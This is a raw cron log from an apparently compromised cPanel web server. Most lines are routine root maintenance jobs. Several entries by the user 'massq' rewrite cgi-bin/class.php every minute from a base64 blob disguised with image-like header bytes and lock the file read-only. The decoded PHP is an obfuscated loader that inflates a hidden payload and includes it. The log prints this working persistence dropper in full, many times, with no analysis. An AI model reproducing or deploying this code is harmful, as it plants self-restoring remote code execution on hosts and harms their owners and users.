Sep 11 21:44:01 server CROND[21034]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:44:01 server CROND[21036]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:45:01 server CROND[21420]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 21:45:01 server CROND[21428]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 21:45:01 server CROND[21430]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:45:01 server CROND[21433]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 21:45:01 server CROND[21431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:45:01 server CROND[21432]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 21:45:01 server CROND[21429]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:46:01 server CROND[22255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:46:01 server CROND[22256]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:46:01 server CROND[22257]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:47:01 server CROND[22639]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:47:01 server CROND[22640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:47:01 server CROND[22642]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:48:01 server CROND[23198]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:48:01 server CROND[23199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:48:01 server CROND[23201]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:49:01 server CROND[23643]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:49:01 server CROND[23644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:49:01 server CROND[23645]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:50:01 server CROND[24063]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 21:50:01 server CROND[24066]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:50:01 server CROND[24065]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 21:50:01 server CROND[24064]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 21:50:01 server CROND[24069]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 21:50:01 server CROND[24070]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:50:01 server CROND[24071]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 21:50:01 server CROND[24067]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 21:50:01 server CROND[24073]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:51:01 server CROND[24907]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:51:01 server CROND[24908]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:51:01 server CROND[24909]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:52:01 server CROND[25287]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:52:01 server CROND[25288]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:52:01 server CROND[25289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:53:01 server CROND[25664]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:53:01 server CROND[25665]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:53:01 server CROND[25666]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:54:01 server CROND[26057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:54:01 server CROND[26058]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:54:01 server CROND[26059]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:55:01 server CROND[26541]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 21:55:01 server CROND[26542]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 21:55:01 server CROND[26543]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:55:01 server CROND[26545]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 21:55:01 server CROND[26544]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 21:55:01 server CROND[26546]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:55:01 server CROND[26547]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:56:01 server CROND[27379]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
